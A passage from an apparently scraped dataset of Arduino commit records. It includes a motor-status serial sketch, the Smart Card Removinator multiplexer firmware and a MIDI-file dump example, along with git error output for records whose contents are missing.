Serial.write(0x00);\n }\n if ((serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\n Serial.write(serial_rx_buffer_motor[serial_rx_buffer_counter]);\n }\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\n Serial.write(0x00);\n }\n if (serial_rx_buffer_counter == 11) {\n Serial.write(0x06);\n }\n serial_rx_buffer_motor[serial_rx_buffer_counter] = 0x00;\n }\n Serial.flush();\n \/*\n Serial.print(\"leftMotorVal = \");\n Serial.print(leftMotorVal);\n Serial.print(\" rightMotorVal = \");\n Serial.print(rightMotorVal);\n Serial.print(\" analogLedVal = \");\n Serial.println(analogLedVal);\n Serial.flush();\n *\/\n }\n if (attentionLevel == HIGH)\n {\n \/\/ Observed value is ~39 when On , 0 when Off (Reading analog instead of digital, so I can get a threshold of the reading)\n \/\/leftMotorVal = (digitalRead(motorArray[0]));\n leftMotorVal = (analogRead(motorArray[0]));\n \/\/ map() is used to convert min and max values to desired values, in this case, I need to convert 1023 to 255\n leftMotorVal = map(leftMotorVal, 0, 1023, 0, 255);\n\n \/\/ Observed value is ~39 when On , 0 when Off\n rightMotorVal = (analogRead(motorArray[1]));\n \/\/rightMotorVal = (digitalRead(motorArray[1]));\n rightMotorVal = map(rightMotorVal, 0, 1023, 0, 255);\n\n \/\/ Observed value ~108 when HIGH (LED is OFF), ~85 when LOW (LED is ON)\n analogLedVal = (analogRead(motorArray[2]));\n \/\/analogLedVal = (digitalRead(motorArray[2]));\n analogLedVal = map(analogLedVal, 0, 1023, 0, 255);\n serial_rx_buffer_motor[6] = leftMotorVal;\n serial_rx_buffer_motor[7] = rightMotorVal;\n serial_rx_buffer_motor[8] = analogLedVal;\n \/\/Serial.print('\\n');\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_motor); serial_rx_buffer_counter++) {\n if (serial_rx_buffer_counter == 0) {\n Serial.write(0x08);\n }\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4) || (serial_rx_buffer_counter == 5)) {\n Serial.write(0x00);\n }\n if ((serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\n Serial.write(serial_rx_buffer_motor[serial_rx_buffer_counter]);\n }\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\n Serial.write(0x00);\n }\n if (serial_rx_buffer_counter == 11) {\n Serial.write(0x08);\n }\n }\n Serial.flush();\n \/*\n Serial.print(\"leftMotorVal = \");\n Serial.print(leftMotorVal);\n Serial.print(\" rightMotorVal = \");\n Serial.print(rightMotorVal);\n Serial.print(\" analogLedVal = \");\n Serial.println(analogLedVal);\n Serial.flush();\n *\/\n }\n else if (attentionLevel == LOW)\n {\n \/\/ Observed value is ~39 when On , 0 when Off (Reading analog instead of digital, so I can get a threshold of the reading)\n \/\/leftMotorVal = (digitalRead(motorArray[0]));\n leftMotorVal = (analogRead(motorArray[0]));\n \/\/ map() is used to convert min and max values to desired values, in this case, I need to convert 1023 to 255\n leftMotorVal = map(leftMotorVal, 0, 1023, 0, 255);\n\n \/\/ Observed value is ~39 when On , 0 when Off\n rightMotorVal = (analogRead(motorArray[1]));\n \/\/rightMotorVal = (digitalRead(motorArray[1]));\n rightMotorVal = map(rightMotorVal, 0, 1023, 0, 255);\n\n \/\/ Observed value ~108 when HIGH (LED is OFF), ~85 when LOW (LED is ON)\n analogLedVal = (analogRead(motorArray[2]));\n \/\/analogLedVal = (digitalRead(motorArray[2]));\n analogLedVal = map(analogLedVal, 0, 1023, 0, 255);\n serial_rx_buffer_motor[6] = leftMotorVal;\n serial_rx_buffer_motor[7] = rightMotorVal;\n serial_rx_buffer_motor[8] = analogLedVal;\n \/\/Serial.print('\\n');\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_motor); serial_rx_buffer_counter++) {\n if (serial_rx_buffer_counter == 0) {\n Serial.write(0x07);\n }\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4) || (serial_rx_buffer_counter == 5)) {\n Serial.write(0x00);\n }\n if ((serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\n Serial.write(serial_rx_buffer_motor[serial_rx_buffer_counter]);\n }\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\n Serial.write(0x00);\n }\n if (serial_rx_buffer_counter == 11) {\n Serial.write(0x07);\n }\n }\n Serial.flush();\n \/*\n Serial.print(\"leftMotorVal = \");\n Serial.print(leftMotorVal);\n Serial.print(\" rightMotorVal = \");\n Serial.print(rightMotorVal);\n Serial.print(\" analogLedVal = \");\n Serial.println(analogLedVal);\n Serial.flush();\n *\/\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ps2_controller\/ps2_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"00835abf2b13b5879049449ee2d693f450610ba4","subject":"inicial","message":"inicial\n","repos":"DigitalesSED\/ProyectoFinal","old_file":"AnalogReadSerial\/AnalogReadSerial.ino","new_file":"AnalogReadSerial\/AnalogReadSerial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DigitalesSED\/ProyectoFinal.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"13ab9c824e06a655adfcbbdc37480830e1375cfc","subject":"Add controller firmware","message":"Add controller firmware\n\nThis adds the source code for the controller firmware. It can be\nupdated to the controller via the Arduino IDE.\n","repos":"nkinder\/smart-card-removinator","old_file":"firmware\/removinator.ino","new_file":"firmware\/removinator.ino","new_contents":"\/\/ Copyright 2016 Nathan Kinder and the Smart Card Removinator contributors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ SPI is used to communicate with shift registers.\n#include <SPI.h>\n\n\/\/ Serial command syntax\n#define CMD_PREFIX '#'\n#define CMD_TERM '\\r'\n#define CMD_MAX_LEN 3\n\n\/\/ Serial commands\n#define CMD_CARD_1 \"SC1\"\n#define CMD_CARD_2 \"SC2\"\n#define CMD_CARD_3 \"SC3\"\n#define CMD_CARD_4 \"SC4\"\n#define CMD_CARD_5 \"SC5\"\n#define CMD_CARD_6 \"SC6\"\n#define CMD_CARD_7 \"SC7\"\n#define CMD_CARD_8 \"SC8\"\n#define CMD_REMOVE_CARD \"REM\"\n#define CMD_STATUS \"STA\"\n#define CMD_DEBUG \"DBG\"\n#define CMD_HELP \"?\"\n\n\/\/ Standard serial responses\n#define RESP_OK \"OK\"\n#define RESP_DBG_ON \"DBG_ON\"\n#define RESP_DBG_OFF \"DBG_OFF\"\n#define ERR_UNKNOWN_CMD \"ERR_UNKOWN_CMD\"\n#define ERR_CMDLEN \"ERR_CMDLEN\"\n#define ERR_PROTOCOL \"ERR_PROTOCOL\"\n#define ERR_NOCARD \"ERR_NOCARD\"\n\n\/\/ Debug output defines\n#define LOG_DBG_PREFIX \"[DBG] \"\n\n\/\/ Constants\nconst byte display_digits[] = { 0x88, 0xDB, 0xA2, 0x92, 0xD1,\n 0x94, 0x84, 0xDA, 0x80, 0x90 };\nconst int mux_en_pin = 2;\nconst int mux_a0_pin = 3;\nconst int mux_a1_pin = 4;\nconst int mux_a2_pin = 5;\nconst int display_select_pin = 6;\nconst int socket_switch_select_pin = 7;\n\n\/\/ Globals\nchar command[CMD_MAX_LEN + 1];\nint inserted_card = 0;\nboolean debug = false;\n\n\/\/ Function prototypes\nvoid setup();\nvoid loop();\nint getCommand();\nint insertCard(int card);\nvoid removeCard();\nint updateDisplay(int digit);\nvoid printCardStatus();\nbyte getCardStatus(int card);\nvoid toggleDebug();\nvoid debug_print(String msg);\nvoid usage();\n\n\nvoid setup()\n{\n \/\/ Set up pins.\n pinMode(mux_en_pin, OUTPUT);\n pinMode(mux_a0_pin, OUTPUT);\n pinMode(mux_a1_pin, OUTPUT);\n pinMode(mux_a2_pin, OUTPUT);\n pinMode(display_select_pin, OUTPUT);\n pinMode(socket_switch_select_pin, OUTPUT);\n \n \/\/ Set SPI slave select pins high to ignore master. We will\n \/\/ enable SPI devices as needed.\n digitalWrite(display_select_pin, HIGH);\n digitalWrite(socket_switch_select_pin, HIGH);\n \n \/\/ Start the SPI library.\n SPI.begin();\n \n \/\/ Start with no card inserted.\n removeCard();\n \n \/\/ Set up the serial port.\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/ Attempt to get a command from the serial port\n if (getCommand() == 0) {\n debug_print(String(\"Received command \\\"\" + String(command) + \"\\\"\"));\n if (strcmp(command, CMD_CARD_1) == 0) {\n insertCard(1);\n } else if (strcmp(command, CMD_CARD_2) == 0) {\n insertCard(2);\n } else if (strcmp(command, CMD_CARD_3) == 0) {\n insertCard(3);\n } else if (strcmp(command, CMD_CARD_4) == 0) {\n insertCard(4);\n } else if (strcmp(command, CMD_CARD_5) == 0) {\n insertCard(5);\n } else if (strcmp(command, CMD_CARD_6) == 0) {\n insertCard(6);\n } else if (strcmp(command, CMD_CARD_7) == 0) {\n insertCard(7);\n } else if (strcmp(command, CMD_CARD_8) == 0) {\n insertCard(8);\n } else if (strcmp(command, CMD_REMOVE_CARD) == 0) {\n removeCard();\n } else if (strcmp(command, CMD_STATUS) == 0) {\n printCardStatus();\n } else if (strcmp(command, CMD_HELP) == 0) {\n usage();\n } else if (strcmp(command, CMD_DEBUG) == 0) {\n toggleDebug();\n } else {\n Serial.println(ERR_UNKNOWN_CMD);\n }\n \n \/\/ Clear the previous command\n command[0] = '\\0';\n }\n}\n\n\/\/ getCommand()\n\/\/\n\/\/ Get a command from the serial port, checking for a proper envelope and length.\n\/\/\n\/\/ Returns:\n\/\/ 0 - If we received a properly enveloped command.\n\/\/ Non-zero - If we received an illegally formatted command. A more\n\/\/ detailed error code will be returned via serial.\n\/\/\nint getCommand()\n{\n int rc = 1;\n char inbyte = 0;\n int command_length = 0;\n \n if (Serial.available() > 0) {\n inbyte = Serial.read();\n \n \/\/ Make sure the command start sequence is present.\n if (inbyte == CMD_PREFIX) {\n while ((inbyte != CMD_TERM) && (command_length <= CMD_MAX_LEN)) {\n inbyte = Serial.read();\n if ((inbyte > 0) && (inbyte != CMD_TERM)) {\n command[command_length] = inbyte;\n command_length++;\n }\n }\n \n \/\/ See if we exceeded the maximum command length.\n if (inbyte != CMD_TERM) {\n Serial.println(ERR_CMDLEN);\n command[0] = '\\0';\n } else {\n \/\/ Terminate the command string.\n command[command_length] = '\\0';\n rc = 0;\n }\n } else {\n \/\/ Illegally formatted command or garbage (protocol error).\n Serial.println(ERR_PROTOCOL);\n } \n }\n \n return rc;\n}\n\n\/\/ insertCard()\n\/\/\n\/\/ Inserts the specified card. If another card is already inserted, it will be removed.\n\/\/\n\/\/ One of the card sockets is switched to the card reader output by controlling\n\/\/ a set of MAX4638 8:1 analog multiplexor ICs. There is one mux IC per card contact.\n\/\/ The mux logic pins are tied together in parallel so that they are switched at the\n\/\/ same time. This allows us to control all of the mux ICs using only 4 pins. The\n\/\/ switching logic uses the following truth table:\n\/\/\n\/\/ --------------------------------\n\/\/ | A2 | A1 | A0 | EN | ON |\n\/\/ --------------------------------\n\/\/ | 0 | 0 | 0 | 0 | NONE |\n\/\/ --------------------------------\n\/\/ | 0 | 0 | 0 | 1 | NO1 |\n\/\/ --------------------------------\n\/\/ | 0 | 0 | 1 | 1 | NO2 |\n\/\/ --------------------------------\n\/\/ | 0 | 1 | 0 | 1 | NO3 |\n\/\/ --------------------------------\n\/\/ | 0 | 1 | 1 | 1 | NO4 |\n\/\/ --------------------------------\n\/\/ | 1 | 0 | 0 | 1 | NO5 |\n\/\/ --------------------------------\n\/\/ | 1 | 0 | 1 | 1 | NO6 |\n\/\/ --------------------------------\n\/\/ | 1 | 1 | 0 | 1 | NO7 |\n\/\/ --------------------------------\n\/\/ | 1 | 1 | 1 | 1 | NO8 |\n\/\/ --------------------------------\n\/\/\n\/\/ Parameters:\n\/\/ card - The card number to insert (1-8).\n\/\/\n\/\/ Returns:\n\/\/ 0 - Success.\n\/\/ Non-zero - If we had some problem inserting the card. A more\n\/\/ detailed error code will be returned via serial.\nint insertCard(int card)\n{\n \/\/ Check if the requested card is actually present. If not, return\n \/\/ ERR_NOCARD via serial and don't do any switching.\n if (!getCardStatus(card)) {\n Serial.println(ERR_NOCARD);\n return 1;\n }\n \n \/\/ Set the logic pins to select the requested card according to\n \/\/ the truth table. We disable the muxes first to ensure we switch\n \/\/ directly to the requested card in cases where we have to change\n \/\/ the state of multiple pins. \n switch(card) {\n case 1:\n digitalWrite(mux_en_pin, LOW);\n digitalWrite(mux_a2_pin, LOW);\n digitalWrite(mux_a1_pin, LOW);\n digitalWrite(mux_a0_pin, LOW);\n digitalWrite(mux_en_pin, HIGH);\n break;\n case 2:\n digitalWrite(mux_en_pin, LOW);\n digitalWrite(mux_a2_pin, LOW);\n digitalWrite(mux_a1_pin, LOW);\n digitalWrite(mux_a0_pin, HIGH);\n digitalWrite(mux_en_pin, HIGH);\n break;\n case 3:\n digitalWrite(mux_en_pin, LOW);\n digitalWrite(mux_a2_pin, LOW);\n digitalWrite(mux_a1_pin, HIGH);\n digitalWrite(mux_a0_pin, LOW);\n digitalWrite(mux_en_pin, HIGH);\n break;\n case 4:\n digitalWrite(mux_en_pin, LOW);\n digitalWrite(mux_a2_pin, LOW);\n digitalWrite(mux_a1_pin, HIGH);\n digitalWrite(mux_a0_pin, HIGH);\n digitalWrite(mux_en_pin, HIGH);\n break;\n case 5:\n digitalWrite(mux_en_pin, LOW);\n digitalWrite(mux_a2_pin, HIGH);\n digitalWrite(mux_a1_pin, LOW);\n digitalWrite(mux_a0_pin, LOW);\n digitalWrite(mux_en_pin, HIGH);\n break;\n case 6:\n digitalWrite(mux_en_pin, LOW);\n digitalWrite(mux_a2_pin, HIGH);\n digitalWrite(mux_a1_pin, LOW);\n digitalWrite(mux_a0_pin, HIGH);\n digitalWrite(mux_en_pin, HIGH);\n break;\n case 7:\n digitalWrite(mux_en_pin, LOW);\n digitalWrite(mux_a2_pin, HIGH);\n digitalWrite(mux_a1_pin, HIGH);\n digitalWrite(mux_a0_pin, LOW);\n digitalWrite(mux_en_pin, HIGH);\n break;\n case 8:\n digitalWrite(mux_en_pin, LOW);\n digitalWrite(mux_a2_pin, HIGH);\n digitalWrite(mux_a1_pin, HIGH);\n digitalWrite(mux_a0_pin, HIGH);\n digitalWrite(mux_en_pin, HIGH);\n break;\n default:\n debug_print(String(\"Unexpected card in insertCard(): \" + String(card)));\n return 1;\n break;\n }\n \n \/\/ Update the display to show the inserted card number.\n updateDisplay(card);\n debug_print(String(\"Inserted card \" + String(card)));\n inserted_card = card;\n \n \/\/ Return our serial response.\n Serial.println(RESP_OK);\n\n return 0;\n}\n\n\/\/ removeCard()\n\/\/\n\/\/ Remove the inserted card. If a card is not inserted,\n\/\/ this is just a no-op.\n\/\/\n\/\/ We \"remove\" a card be disabling the multiplexor ICs by setting\n\/\/ their enable pin to low.\n\/\/\nvoid removeCard()\n{\n digitalWrite(mux_en_pin, LOW);\n debug_print(String(\"Removed card \" + String(inserted_card)));\n inserted_card = 0;\n \n \/\/ Blank the display\n updateDisplay(-1);\n Serial.println(RESP_OK);\n}\n\n\/\/ updateDisplay()\n\/\/\n\/\/ Updates the display to the requested digit.\n\/\/\n\/\/ The display is a 7-segment display controlled via a SN74HC595 shift\n\/\/ register, which we control via SPI. We send the bits in least-significant\n\/\/ bit order, meaning that output 'A' of the shift register is controlled by\n\/\/ the LSB and output 'H' is controlled by the MSB. The shift register\n\/\/ outputs are connected to the 7-segment display as follows:\n\/\/\n\/\/ A\n\/\/ -----\n\/\/ B | | C\n\/\/ D -----\n\/\/ E | | F\n\/\/ -----\n\/\/ G\n\/\/\n\/\/ Additionally, there is an LED for a decimal point, which is controlled by\n\/\/ output 'H' of the shift register.\n\/\/\n\/\/ Parameters:\n\/\/ digit - Digit to display. Valid values are 0-9. A value\n\/\/ of -1 will cause the display to be cleared.\n\/\/\n\/\/ Returns:\n\/\/ 0 - Success\n\/\/ Non-zero - Error due to invalid digit parameter.\n\/\/\nint updateDisplay(int digit)\n{\n int rc = 0;\n \n \/\/ Start a SPI transaction with a max sped of 20MHz.\n SPI.beginTransaction(SPISettings(20000000, MSBFIRST, SPI_MODE0));\n \n \/\/ Select the display device.\n digitalWrite(display_select_pin, LOW);\n \n \/\/ Display the requested digit by turning on the proper\n \/\/ LED segments.\n if ((digit >= 0) && (digit <= 9)) {\n SPI.transfer(display_digits[digit]);\n } else if(digit == -1) {\n \/\/ Blank the display, but leave the decimal point LED\n \/\/ on as a power indicator.\n SPI.transfer(0x7F);\n } else {\n debug_print(String(\"Unexpected digit in updateDisplay(): \" + String(digit)));\n rc = 1;\n }\n \n \/\/ De-select the display device. This rising edge pulse will trigger\n \/\/ an update to the actual display based off of the shift register contents.\n digitalWrite(display_select_pin, HIGH);\n \n \/\/ End the SPI transaction.\n SPI.endTransaction();\n \n if (rc == 0) {\n debug_print(String(\"Updated display to \" + String(digit)));\n }\n \n return rc;\n}\n\n\/\/ printCardStatus()\n\/\/\n\/\/ Print the status to the serial port. This includes which card socket\n\/\/ is currently \"inserted\", along with status on which card sockets have\n\/\/ an actual card present.\n\/\/\n\/\/ The status is printed via serial as a JSON object. It is\n\/\/ comprised of two attributes. The \"current\" attribute contains\n\/\/ the number of the currently selected card. The \"present\" attribute\n\/\/ contains an array containing the ascending card socket numbers that\n\/\/ have a card present. Here is an example where card 4 is currently\n\/\/ selected, and card sockets 1-6 have cards present:\n\/\/\n\/\/ {\"current\":4,\"present\":[1,2,3,4,5,6]}\n\/\/\n\/\/ If no card is currently selected, the \"current\" card will be reported\n\/\/ as 0.\n\/\/\nvoid printCardStatus()\n{\n int i = 0;\n int need_comma = 0;\n byte status = 0;\n String status_json = \"{\\\"current\\\":\";\n \n \/\/ Add the currently inserted card to the status.\n status_json += inserted_card;\n status_json += \",\\\"present\\\":[\";\n \n \/\/ Get the status of all card sockets.\n status = getCardStatus(0);\n \n \/\/ Add any present cards to the JSON array.\n for (i = 1; i <=8; i++) {\n if ((status >> (i - 1)) & 1) {\n if (need_comma) {\n status_json += \",\";\n }\n status_json += i;\n need_comma = 1;\n }\n }\n \n \/\/ Terminate the JSON status.\n status_json += \"]}\";\n \n \/\/ Return the status via serial.\n Serial.println(status_json);\n}\n\n\/\/ getCardStatus()\n\/\/\n\/\/ Check which card sockets actually have cards inserted.\n\/\/\n\/\/ Each card socket has a switch, which we read via a SN74HC165 shift\n\/\/ register that we control via SPI. This allows us to read all 8\n\/\/ switches at once without taking up 8 input pins.\n\/\/\n\/\/ Paramters:\n\/\/ card - The card socket to get the status of. Valid values\n\/\/ are 0-8. If card is 0, we check the status of all\n\/\/ card sockets.\n\/\/\n\/\/ Returns:\n\/\/ status - A byte indicating the status for the requested\n\/\/ card sockets. If a single card socket is being\n\/\/ checked, this byte will be 0x01 if a card is\n\/\/ inserted, and 0x00 if the socket is empty. If\n\/\/ all card sockets are being checked, each bit in\n\/\/ the returned byte will represent the status of\n\/\/ its associated card socket. Card socket 1 is\n\/\/ represented by the LSB, and card socket 8 is\n\/\/ represented by the MSB.\n\/\/\nbyte getCardStatus(int card)\n{\n byte status = 0;\n \n \/\/ Start a SPI transaction with a max sped of 20MHz.\n SPI.beginTransaction(SPISettings(20000000, MSBFIRST, SPI_MODE0));\n \n \/\/ Pulse the PISO register IC to make it load the card\n \/\/ socket switch values.\n digitalWrite(socket_switch_select_pin, LOW);\n delayMicroseconds(20);\n digitalWrite(socket_switch_select_pin, HIGH);\n \n \/\/ Retrieve the switch values via serial.\n status = SPI.transfer(0);\n debug_print(String(\"Received status: \" + String(status)));\n \n \/\/ End the SPI transaction.\n SPI.endTransaction();\n\n \/\/ If we're checking the status of a single card, adjust the\n \/\/ returned status to be 1 or 0.\n if ((card >= 1) && (card <= 8)) {\n status = (status >> (card - 1)) & 1;\n }\n \n return status;\n}\n\n\/\/ toggleDebug()\n\/\/\n\/\/ Enables or disables debugging serial output.\n\/\/\nvoid toggleDebug()\n{\n debug = !debug;\n \n if (debug) {\n Serial.println(RESP_DBG_ON);\n } else {\n Serial.println(RESP_DBG_OFF);\n }\n}\n\n\/\/ debug_print()\n\/\/\n\/\/ Prints debug message to serial port if debugging output is enabled.\n\/\/\n\/\/ Parameters:\n\/\/ msg - The message to print. A newline will be added automatically.\n\/\/\nvoid debug_print(String msg)\n{\n if (debug) {\n Serial.print(LOG_DBG_PREFIX);\n Serial.println(msg);\n }\n}\n\n\/\/ usage()\n\/\/\n\/\/ Prints usage details to serial port\n\/\/\nvoid usage()\n{\n Serial.println(\"--- Smart Card Removinator (v0.1) ---\");\n Serial.println(\"Command Format:\");\n Serial.print(\"\\t\");\n Serial.print(\"Prefix:\");\n Serial.print(\"\\t\\t\");\n Serial.println(\"#\");\n Serial.print(\"\\t\");\n Serial.print(\"Terminator:\");\n Serial.print(\"\\t\");\n Serial.println(\"\\\\r\");\n Serial.println(\"Commands:\");\n Serial.print(\"\\t\");\n Serial.print(CMD_CARD_1);\n Serial.print(\"\\t\");\n Serial.println(\"Insert card 1\");\n Serial.print(\"\\t\");\n Serial.print(CMD_CARD_2);\n Serial.print(\"\\t\");\n Serial.println(\"Insert card 2\");\n Serial.print(\"\\t\");\n Serial.print(CMD_CARD_3);\n Serial.print(\"\\t\");\n Serial.println(\"Insert card 3\");\n Serial.print(\"\\t\");\n Serial.print(CMD_CARD_4);\n Serial.print(\"\\t\");\n Serial.println(\"Insert card 4\");\n Serial.print(\"\\t\");\n Serial.print(CMD_CARD_5);\n Serial.print(\"\\t\");\n Serial.println(\"Insert card 5\");\n Serial.print(\"\\t\");\n Serial.print(CMD_CARD_6);\n Serial.print(\"\\t\");\n Serial.println(\"Insert card 6\");\n Serial.print(\"\\t\");\n Serial.print(CMD_CARD_7);\n Serial.print(\"\\t\");\n Serial.println(\"Insert card 7\");\n Serial.print(\"\\t\");\n Serial.print(CMD_CARD_8);\n Serial.print(\"\\t\");\n Serial.println(\"Insert card 8\");\n Serial.print(\"\\t\");\n Serial.print(CMD_REMOVE_CARD);\n Serial.print(\"\\t\");\n Serial.println(\"Remove inserted card\");\n Serial.print(\"\\t\");\n Serial.print(CMD_STATUS);\n Serial.print(\"\\t\");\n Serial.println(\"Return card socket status\");\n Serial.print(\"\\t\");\n Serial.print(CMD_DEBUG);\n Serial.print(\"\\t\");\n Serial.println(\"Toggle debugging output\");\n Serial.print(\"\\t\");\n Serial.print(CMD_HELP);\n Serial.print(\"\\t\");\n Serial.println(\"Show usage information\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/removinator.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"42346954b606c4ef3e1cb84a14c6ceaabd20375d","subject":"update","message":"update\n","repos":"Lafudoci\/ProbeCube","old_file":"Photon based\/code\/ProbeCube_pc_v099b0224.ino","new_file":"Photon based\/code\/ProbeCube_pc_v099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/code\/ProbeCube_pc_v099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"02393b556cba3e14674bf6e00142ee4a17b052ec","subject":"Added MidiDump library example Sketch","message":"Added MidiDump library example Sketch\n","repos":"bneedhamia\/midifilestream","old_file":"examples\/MidiDump\/MidiDump.ino","new_file":"examples\/MidiDump\/MidiDump.ino","new_contents":"#include <MidiFileStream.h>\n#include <SD.h>\n\n\/*\n * Example use of the MidiFileStream library\n * by reading one file from an SD card.\n *\n * This example app is placed in the public domain by its author,\n * Bradford Needham (@bneedhamia, https:\/\/www.needhamia.com )\n *\/\n \n\/*\n * Hardware: An Arduino Mega 2560\n * plus a Sparkfun TransmogriSheild\n * plus a Sparkfun Wifi CC3000 Shield\n *\n * Or you can use any Arduino plus any shield that supports\n * an SD card. Make sure that pinSelectSD (below) is correct\n * for the card.\n *\/\n\n\/*\n * To operate:\n * 1) Copy a Midi file to the SD card.\n * 2) Change fName (below) to be the name of that Midi file (8.3 format)\n * 3) Download and run this Sketch\n * 4) Open the Serial Monitor at 115200 baud.\n * The tracks and events from the file should be printed on the screen.\n *\/\n\nconst int pinSelectSD = 8; \/\/ Sparkfun SD shield Chip Select pin.\nconst int pinLed = 13; \/\/ the Arduino LED pin\n\nchar fName[] = \"JOYWORLD.MID\"; \/\/ The SD card Midi file to read.\n\nboolean errorOccurred; \/\/ if true, there's a problem.\nboolean isFinished; \/\/ if true, we successfully finished reading the file.\n\nMidiFileStream midiFile; \/\/ the current Midi file being read.\nFile file; \/\/ the underlying SD card file.\n\nvoid setup() {\n Serial.begin(115200);\n \n \/\/ If the setup succeeds, we'll update errorOccurred.\n errorOccurred = true;\n isFinished = false;\n \n pinMode(pinSelectSD, OUTPUT);\n pinMode(pinLed, OUTPUT);\n \n \/\/ Setup the SD card\n \n Serial.println(\"Calling SD.begin()...\");\n if (!SD.begin(pinSelectSD)) {\n Serial.println(\"SD.begin() failed. Check: \");\n Serial.println(\" Card insertion,\");\n Serial.println(\" SD shield I\/O pins and chip select,\");\n Serial.println(\" Card formatting.\");\n return;\n }\n Serial.println(\"...succeeded.\");\n \n \/\/ Open the file to read\n \n file = SD.open(fName, FILE_READ);\n if (!file) {\n Serial.print(\"Failed to open SD card file \");\n Serial.println(fName);\n Serial.println(\"Does that file exist?\");\n return;\n }\n \n \/*\n * Read the Midi header from that file\n * and prepare to read Midi events from that file.\n *\/\n \n if (!midiFile.begin(file)) {\n Serial.print(\"Failed to open Midi file: \");\n Serial.println(fName);\n Serial.print(\"Check: is it a Midi-format file?\");\n \n \/\/ Clean up\n midiFile.end();\n file.close();\n \n return;\n }\n \n \/\/ Say what the Midi Header told us.\n Serial.print(\"Midi file format: \");\n Serial.println(midiFile.getFormat());\n Serial.print(\"Number of tracks: \");\n Serial.println(midiFile.getNumTracks());\n Serial.print(\"Ticks per beat: \");\n Serial.println(midiFile.getTicksPerBeat());\n \n \/\/ Open the first track of the file.\n if (midiFile.openChunk() != CT_MTRK) {\n Serial.println(\"Failed to open the first track of the file.\");\n \n \/\/ Clean up\n midiFile.end();\n file.close();\n \n return;\n }\n \n \/\/ remember that everything is ok so far.\n errorOccurred = false;\n\n}\n\nvoid loop() {\n \/\/ If we're finished reading, do nothing.\n if (isFinished) {\n return;\n }\n \n \/\/ If there is a problem, just blink the LED.\n if (errorOccurred) {\n if ((millis() % 1000) < 500) {\n digitalWrite(pinLed, HIGH);\n } else {\n digitalWrite(pinLed, LOW);\n }\n \n return;\n }\n \n \/\/ read the next Midi event from the file.\n event_t eventType = midiFile.readEvent();\n if (eventType == ET_END) {\n \n \/\/ The track has ended; open the next track.\n chunk_t chunkType = midiFile.openChunk();\n if (chunkType != CT_MTRK) {\n if (chunkType == CT_END) {\n Serial.println(\"File ended normally.\");\n \n \/\/ Clean up\n midiFile.end();\n file.close();\n \n isFinished = true;\n return;\n }\n \n \/\/ File error: Chunk is not a track.\n Serial.println(\"Failed to open file track.\");\n \n \/\/ Clean up\n midiFile.end();\n file.close();\n \n errorOccurred = true;\n return;\n }\n \n \/\/ Successfully opened the track\n \/\/ loop again to read the next event.\n \n return;\n }\n \n \/\/ Say something about this event\n \n Serial.print(\"delay \");\n Serial.print(midiFile.getEventDeltaTicks());\n Serial.println(\" ticks.\");\n \n if (eventType == ET_TEMPO) {\n Serial.print(\"New Tempo: \");\n Serial.print(midiFile.getEventDataP()->tempo.uSecPerBeat);\n Serial.println(\" microseconds per beat.\");\n \n return;\n }\n \n if (eventType == ET_END_TRACK) {\n Serial.println(\"End of Track event.\");\n \n return;\n }\n \n if (eventType == ET_CHANNEL) {\n char code = midiFile.getEventDataP()->channel.code;\n \n if (code == CH_NOTE_ON) {\n Serial.print(\"Note On: Midi note number \");\n Serial.println(midiFile.getEventDataP()->channel.param1);\n \n return;\n }\n \n if (code == CH_NOTE_OFF) {\n Serial.print(\"Note Off: Midi note number \");\n Serial.println(midiFile.getEventDataP()->channel.param1);\n \n return;\n }\n \n \/\/ Otherwise, it's a Channel event that we don't care about\n \/\/ Ignore it.\n \n return;\n }\n \n \/\/ Otherwise, it's an event we don't care about.\n \/\/ Ignore it.\n \n \/\/ return;\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MidiDump\/MidiDump.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"edb2df91fbd12851492f58faad82c20f45b0f0e7","subject":"Gather and display all sensor data","message":"Gather and display all sensor data\n","repos":"recursinging\/ruitar,recursinging\/ruitar","old_file":"ruitar.ino","new_file":"ruitar.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 